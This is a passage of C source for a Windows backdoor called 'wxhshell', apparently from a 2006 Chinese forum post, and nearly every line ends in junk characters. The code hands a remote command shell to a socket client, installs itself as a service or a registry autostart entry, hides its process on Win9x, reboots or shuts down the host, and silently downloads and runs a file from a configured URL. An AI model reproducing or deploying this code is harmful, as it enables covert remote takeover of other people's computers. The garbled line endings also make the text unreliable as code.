    if(Install()) tl)}Be+Dt;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Pj.~|5gnf  
    else ,#E5/'c`  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); poeXi\e!(  
    break; OpL 6Y+<  
    } w//w$}v  
  // 卸载 Y=rr6/k  
  case 'r': { b}4/4Z.  
    if(Uninstall()) N/%#GfXx  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (t]>=p%4g  
    else  wi9|  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Q jBCkx]g  
    break; Yjl0Pz .q  
    } `{wku@  
  // 显示 wxhshell 所在路径 kW!:bh  
  case 'p': { o(``7A@7a  
    char svExeFile[MAX_PATH]; RE.@ +A  
    strcpy(svExeFile,"\n\r"); AfEEYP)N  
      strcat(svExeFile,ExeFile); +z D'r5  
        send(wsh,svExeFile,strlen(svExeFile),0); x5|v# -F ^  
    break; ;Bb5KD  
    } vUK>4^{J5  
  // 重启 <kSaSW  
  case 'b': { h]Oplp4 \W  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); w3w*"M  
    if(Boot(REBOOT)) gr?pvf!I  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2wBU@T1  
    else { w+37'vQ  
    closesocket(wsh); yo.SPd="Vx  
    ExitThread(0); =_dd4`G&<  
    } cP2R2 4th  
    break; &JlR70gdHi  
    } .zAafi0  
  // 关机 ziycyf.d  
  case 'd': { 1hviT&  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); VjqdKQeVq  
    if(Boot(SHUTDOWN)) S1zw'!O5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); BP[U` !  
    else { .V3Dql@z"  
    closesocket(wsh); l1)pr{A  
    ExitThread(0); Qyjuzfmz  
    } 'U"3'jh  
    break; Gx!RaZ1  
    } N ACY;XQ%  
  // 获取shell 5dp#\J@  
  case 's': { %~5Q^3$O  
    CmdShell(wsh); L%d?eHF  
    closesocket(wsh); 12PE{Mut  
    ExitThread(0); lDU:EJ&DHE  
    break; !5OMAWNU@  
  } BNCJT$t YX  
  // 退出 sOxdq"E  
  case 'x': { t60/f&A#7H  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); \r%Vgne-g  
    CloseIt(wsh); VQ?H:1R  
    break; x#0@ $  
    } Qiw eM?-  
  // 离开 'Xl>,\'6  
  case 'q': { 0:Y`#0qK  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); <u?hdwW \  
    closesocket(wsh); \.1b\\  
    WSACleanup(); Gr@{p"./z  
    exit(1); N`Xnoehu  
    break; *Z`eNz}  
        } `7%eA9*.m  
  } *wB-lg7%  
  } ,A!e"=HF  
b<(UmRxx3  
  // 提示信息 % B &?D@  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); I*t)x,~3  
} _*$B|%k   
  } ba9<(0`  
1ysLZ;K  
  return; (MoTG^MrBY  
} 4D8yb|o  
*6D%mrK  
// shell模块句柄 !;aC9VhSU  
int CmdShell(SOCKET sock) ]2Fo.n  
{ FFeRE{,  
STARTUPINFO si; |J Q:.h  
ZeroMemory(&si,sizeof(si)); ,ok J eZ  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; .&x?`pER  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; -mHhB(Td'  
PROCESS_INFORMATION ProcessInfo; [a)~Dui0@\  
char cmdline[]="cmd"; +R#`j r"  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Mto~ /  
  return 0; !$xEX,vj|W  
} N^yO- xk  
KHus/M&0  
// 自身启动模式 @*"<U]  
int StartFromService(void) /-YlC (kL  
{ /N]Ow  
typedef struct &#oZ>`Qu  
{ )4)iANH?  
  DWORD ExitStatus; `;qv}  
  DWORD PebBaseAddress; xFm{oJ!]&  
  DWORD AffinityMask; +Q!xEfpO;  
  DWORD BasePriority; SxW}Z_8x  
  ULONG UniqueProcessId; p@8^gc  
  ULONG InheritedFromUniqueProcessId; i)=89?8  
}   PROCESS_BASIC_INFORMATION; 7x7r!rSe,  
txfwLqx  
PROCNTQSIP NtQueryInformationProcess; ]AC!R{H  
u1|P'>;lF  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; e=]oh$]  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; h NOYFH  
"4k=(R?  
  HANDLE             hProcess; ckjVa\  
  PROCESS_BASIC_INFORMATION pbi; %M)oHX1p  
Cb%.C;q  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); BdoC6H  
  if(NULL == hInst ) return 0; ul=a\;3x#|  
LB*#  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); mf;^b.mKh  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); -KwL9J4u  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ilRm}lU|x  
%QsSR'`  
  if (!NtQueryInformationProcess) return 0; .xz,pn}  
+z jzO]8  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); >_0 i=.\  
  if(!hProcess) return 0; d[RWkk5  
vzyI::f?  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; !Ir1qt8 T  
enbN0  
  CloseHandle(hProcess); ,4>WLJDo  
M*~v'L_sI  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); L >Ez-  
if(hProcess==NULL) return 0; kJvy<(iG  
;x3 ]4^  
HMODULE hMod; Ss<_K>wk  
char procName[255]; ZLN_,/7  
unsigned long cbNeeded; bDZKQ&  
1Oca@E\Z.  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ycl>git]  
8MeO U  
  CloseHandle(hProcess); =8$0$d  
CDnR  
if(strstr(procName,"services")) return 1; // 以服务启动 @!&Jgg53G  
2iR:*}5  
  return 0; // 注册表启动 Pi"~/MGP$  
} u_p7Mcb  
D*XZT{1g  
// 主模块 "BLv4s|y7L  
int StartWxhshell(LPSTR lpCmdLine) N[a ljC-R  
{ @tE&<[e  
  SOCKET wsl; re ]Ste  
BOOL val=TRUE; 5!SoN}$  
  int port=0; (?!(0Ywbg  
  struct sockaddr_in door; co$Hi9JE  
h+B'_ `(  
  if(wscfg.ws_autoins) Install(); <=)D=Ax/_[  
]F"(OWW  
port=atoi(lpCmdLine); Mz/]DJ8  
C-a*EG  
if(port<=0) port=wscfg.ws_port; xs2,t*  
hs!UX=x|  
  WSADATA data; I=4Xv<F  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; j.=UI-&m  
xZ.~:V03\t  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   e(OwS?K  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); C@TN5?Z  
  door.sin_family = AF_INET; 2YE;m&  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); H )BOSZD  
  door.sin_port = htons(port); J{Y6fHFi  
h*;g0QBkl  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { i ll-%OPeg  
closesocket(wsl); =_$XP   
return 1; H Z;ZjC*  
} krQ l^~@  
*3A3>Rwu  
  if(listen(wsl,2) == INVALID_SOCKET) { sBP}n.#$  
closesocket(wsl); ~w Zl2I  
return 1; 0[n c7)sW  
} [,OJX N-4s  
  Wxhshell(wsl); d\~p5_5.  
  WSACleanup(); M!eoe5  
pP|,7c5  
return 0; T"L0Iy!k;  
fH{9]TU_:  
} Vk MinE  
8q]J;T  
// 以NT服务方式启动 xN#bzma  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Uj4Lu  
{ mgi,b2  
DWORD   status = 0; k_,MoDz  
  DWORD   specificError = 0xfffffff; A)\>#Dv  
y bo#K  
  serviceStatus.dwServiceType     = SERVICE_WIN32; `^v4zWDK  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; NJn&>/vM  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; EKqi+T^=F  
  serviceStatus.dwWin32ExitCode     = 0; lp,\]]  
  serviceStatus.dwServiceSpecificExitCode = 0; RY9+ 9i  
  serviceStatus.dwCheckPoint       = 0; ]vm\3=@}9  
  serviceStatus.dwWaitHint       = 0; W[@i;f^g  
,/i_QgP  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); +O)]^"TG  
  if (hServiceStatusHandle==0) return; 3^!Hl8P7  
Q Oz9\,C  
status = GetLastError(); 6exRS]BI  
  if (status!=NO_ERROR)  DZ^=*.  
{ X Y~;)<s_  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; HH"$#T^-  
    serviceStatus.dwCheckPoint       = 0; , p_G/ OU  
    serviceStatus.dwWaitHint       = 0; Wm<z?.lS  
    serviceStatus.dwWin32ExitCode     = status; xKY$L*  
    serviceStatus.dwServiceSpecificExitCode = specificError; cvKV95bn  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1s Br.+p  
    return; D+f'*|  
  } "kX`FaAhY  
G7 1U7  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; sa_R$ /H  
  serviceStatus.dwCheckPoint       = 0; CV s8s  
  serviceStatus.dwWaitHint       = 0; *i`v~ >  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); UE^D2u  
} +AB6lv  
rFhW^fP/  
// 处理NT服务事件,比如:启动、停止 3AK(dC[ri  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ?$3r5sx  
{ =K&#.r  
switch(fdwControl) ([Ebsj  
{ ?8Et[tFg  
case SERVICE_CONTROL_STOP: wuKl-:S;Vs  
  serviceStatus.dwWin32ExitCode = 0; ;P3>>DZ  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 2-~a P  
  serviceStatus.dwCheckPoint   = 0; wDDxj  
  serviceStatus.dwWaitHint     = 0; \3r3{X _<`  
  { IeVLn^?+:  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8)sg_JC  
  }  2A*/C7  
  return; G-arnu)  
case SERVICE_CONTROL_PAUSE: (B&h;U$HAH  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; $'^&\U~?  
  break; YZibi  
case SERVICE_CONTROL_CONTINUE: ]pWP?Ws  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; &} ,*\Oj  
  break; !6Q`>s]  
case SERVICE_CONTROL_INTERROGATE: W}>=JoN^J  
  break; i`+B4I8[  
}; Gfv(w=rr?  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); On4w/L9L5  
} \k;U}Te<  
k5a\Sq}  
// 标准应用程序主函数 }'lNi^"XL  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Q!K`e)R  
{ [G a~%m  
&eIGF1ws  
// 获取操作系统版本 m=QCG)s  
OsIsNt=GetOsVer(); vh &GIb  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Ivsb<qzG  
rR]-RX(  
  // 从命令行安装 B20_ig:  
  if(strpbrk(lpCmdLine,"iI")) Install(); \OcMiuw  
H>?F8R_iq  
  // 下载执行文件 _S"f_W  
if(wscfg.ws_downexe) { 71O3O7  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) E:FO_R(Xq  
  WinExec(wscfg.ws_filenam,SW_HIDE); J='W+=N  
} "<*awWNI  
-u|l}}bh  
if(!OsIsNt) { -l "U"U"F  
// 如果时win9x,隐藏进程并且设置为注册表启动 0O~p7D  
HideProc(); M/{g(|{  
StartWxhshell(lpCmdLine); A:eG5K}  
} _R7 w?!t8  
else J3G7zu8  
  if(StartFromService()) _UkmYZ/  
  // 以服务方式启动 ) r9b:c\  
  StartServiceCtrlDispatcher(DispatchTable); o 7G> y#Y  
else f jI#-  
  // 普通方式启动 !9r:&n.\  
  StartWxhshell(lpCmdLine); oEu>}JD  
h>wcT VF  
return 0; m"Qq{p|'  
}
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只看该作者 1 发表于: 2006-10-10
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